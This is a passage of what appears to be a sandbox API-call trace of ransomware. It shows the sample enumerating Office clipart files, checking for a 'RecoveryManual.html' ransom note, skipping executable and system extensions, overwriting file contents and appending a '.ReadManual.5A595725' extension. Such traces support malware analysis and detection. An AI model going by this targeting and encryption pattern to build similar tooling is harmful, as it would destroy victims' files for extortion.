Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF" [0267.016] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF.ReadManual.5A595725" [0267.016] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF.ReadManual.5A595725") returned 87 [0267.016] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38768509460) returned 1 [0267.016] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151063.wmf")) returned 0x20 [0267.017] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151063.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.017] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=10632) returned 1 [0267.017] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2988, lpName=0x0) returned 0x184 [0267.017] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.018] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.018] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.019] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.019] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2988) returned 0x2f0000 [0267.020] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.020] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38768849372) returned 1 [0267.020] CloseHandle (hObject=0x184) returned 1 [0267.020] SetSecurityInfo () returned 0x57 [0267.020] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.020] CloseHandle (hObject=0x194) returned 1 [0267.020] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3394, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0151067.WMF", cAlternateFileName="")) returned 1 [0267.020] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0151067.WMF" | out: lpString1="J0151067.WMF") returned="J0151067.WMF" [0267.020] lstrcmpiW (lpString1="J0151067.WMF", lpString2="RecoveryManual.html") returned -1 [0267.020] StrStrIW (lpFirst="J0151067.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.020] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.020] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.020] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.020] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.020] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.020] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.020] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.020] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.020] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.020] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.020] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.021] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.021] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.021] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.021] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF" [0267.021] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF.ReadManual.5A595725" [0267.021] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF.ReadManual.5A595725") returned 87 [0267.021] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38768948784) returned 1 [0267.021] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151067.wmf")) returned 0x20 [0267.021] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151067.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.021] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=13204) returned 1 [0267.021] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3394, lpName=0x0) returned 0x184 [0267.021] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.022] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.022] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.024] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.024] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3394) returned 0x2f0000 [0267.024] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.024] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38769288660) returned 1 [0267.024] CloseHandle (hObject=0x184) returned 1 [0267.024] SetSecurityInfo () returned 0x57 [0267.024] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.024] CloseHandle (hObject=0x194) returned 1 [0267.024] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3418, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0151073.WMF", cAlternateFileName="")) returned 1 [0267.024] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0151073.WMF" | out: lpString1="J0151073.WMF") returned="J0151073.WMF" [0267.025] lstrcmpiW (lpString1="J0151073.WMF", lpString2="RecoveryManual.html") returned -1 [0267.025] StrStrIW (lpFirst="J0151073.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.025] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.025] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.025] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.025] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.025] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.025] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.025] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.025] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.025] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.025] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.025] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.025] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.025] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.025] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.025] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF" [0267.025] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF.ReadManual.5A595725" [0267.025] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF.ReadManual.5A595725") returned 87 [0267.025] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38769387883) returned 1 [0267.025] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151073.wmf")) returned 0x20 [0267.025] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151073.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.026] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=13336) returned 1 [0267.026] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3418, lpName=0x0) returned 0x184 [0267.026] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.026] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.026] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.028] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.028] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3418) returned 0x2f0000 [0267.028] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.029] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38769728412) returned 1 [0267.029] CloseHandle (hObject=0x184) returned 1 [0267.029] SetSecurityInfo () returned 0x57 [0267.029] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.029] CloseHandle (hObject=0x194) returned 1 [0267.029] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0151581.WMF", cAlternateFileName="")) returned 1 [0267.029] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0151581.WMF" | out: lpString1="J0151581.WMF") returned="J0151581.WMF" [0267.029] lstrcmpiW (lpString1="J0151581.WMF", lpString2="RecoveryManual.html") returned -1 [0267.029] StrStrIW (lpFirst="J0151581.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.029] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.029] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.029] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.029] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.029] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.029] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.029] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.029] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.029] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.029] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.029] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.029] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.029] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.029] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.029] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF" [0267.029] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF.ReadManual.5A595725" [0267.029] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF.ReadManual.5A595725") returned 87 [0267.029] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38769922436) returned 1 [0267.031] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151581.wmf")) returned 0x20 [0267.032] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151581.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.032] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=10752) returned 1 [0267.032] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2a00, lpName=0x0) returned 0x184 [0267.032] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.033] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.033] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.035] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.035] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2a00) returned 0x2f0000 [0267.035] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.035] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38770379672) returned 1 [0267.035] CloseHandle (hObject=0x184) returned 1 [0267.035] SetSecurityInfo () returned 0x57 [0267.035] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.035] CloseHandle (hObject=0x194) returned 1 [0267.035] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x610c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0152414.WMF", cAlternateFileName="")) returned 1 [0267.035] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0152414.WMF" | out: lpString1="J0152414.WMF") returned="J0152414.WMF" [0267.035] lstrcmpiW (lpString1="J0152414.WMF", lpString2="RecoveryManual.html") returned -1 [0267.035] StrStrIW (lpFirst="J0152414.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.035] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.036] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.036] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.036] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.036] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.036] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.036] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.036] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.036] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.036] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.036] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.036] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.036] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.036] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.036] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF" [0267.036] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF.ReadManual.5A595725" [0267.036] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF.ReadManual.5A595725") returned 87 [0267.036] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38770477997) returned 1 [0267.036] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152414.wmf")) returned 0x20 [0267.036] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152414.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.036] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=24844) returned 1 [0267.037] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x610c, lpName=0x0) returned 0x184 [0267.037] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.037] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.037] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.039] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.039] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x610c) returned 0x2f0000 [0267.040] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.040] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38770855064) returned 1 [0267.040] CloseHandle (hObject=0x184) returned 1 [0267.040] SetSecurityInfo () returned 0x57 [0267.040] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.040] CloseHandle (hObject=0x194) returned 1 [0267.040] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3734, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0152430.WMF", cAlternateFileName="")) returned 1 [0267.040] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0152430.WMF" | out: lpString1="J0152430.WMF") returned="J0152430.WMF" [0267.040] lstrcmpiW (lpString1="J0152430.WMF", lpString2="RecoveryManual.html") returned -1 [0267.040] StrStrIW (lpFirst="J0152430.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.040] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.040] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.040] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.040] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.040] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.040] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.040] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.040] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.040] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.040] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.040] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.041] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.041] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.041] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.041] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF" [0267.041] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF.ReadManual.5A595725" [0267.041] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF.ReadManual.5A595725") returned 87 [0267.041] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38770951847) returned 1 [0267.041] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152430.wmf")) returned 0x20 [0267.043] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152430.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.044] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=14132) returned 1 [0267.044] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, 